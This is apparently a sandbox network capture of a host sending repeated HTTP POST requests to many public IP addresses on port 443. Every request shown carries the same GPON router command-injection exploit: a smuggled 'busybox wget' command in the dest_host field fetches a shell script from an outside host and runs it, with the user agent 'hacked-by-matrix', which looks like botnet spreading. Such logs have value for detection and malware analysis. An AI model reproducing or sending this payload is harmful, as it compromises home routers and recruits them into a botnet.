Mar 21, 2024 05:16:53.997601032 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
221	192.168.2.23	49584	79.131.75.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997636080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
222	192.168.2.23	51952	178.89.151.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997673988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
223	192.168.2.23	60830	94.64.123.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997678995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
224	192.168.2.23	33184	37.33.218.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004592896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.23	56380	79.103.246.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004637957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.23	60702	118.46.240.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004637957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
227	192.168.2.23	57720	212.91.10.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004642010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
228	192.168.2.23	54284	118.66.87.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004750967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
229	192.168.2.23	44944	42.166.246.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004807949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
230	192.168.2.23	32772	2.255.21.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004807949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
231	192.168.2.23	59096	2.164.48.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004857063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
232	192.168.2.23	39246	109.52.159.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004883051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	48728	5.252.226.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004920959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	59086	79.27.47.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.004926920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	55186	118.93.76.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.005060911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	34750	37.194.70.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:57.005079031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	42334	37.107.162.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.011455059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	48312	178.68.197.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.011457920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	36690	37.222.110.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:00.011564970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	49982	212.140.210.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.022866964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	50304	94.152.142.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.022867918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	34962	79.82.158.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.022866964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	41594	94.57.17.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:03.022906065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	45546	42.169.83.179	443

Timestamp	Bytes transferred	Direction	Data
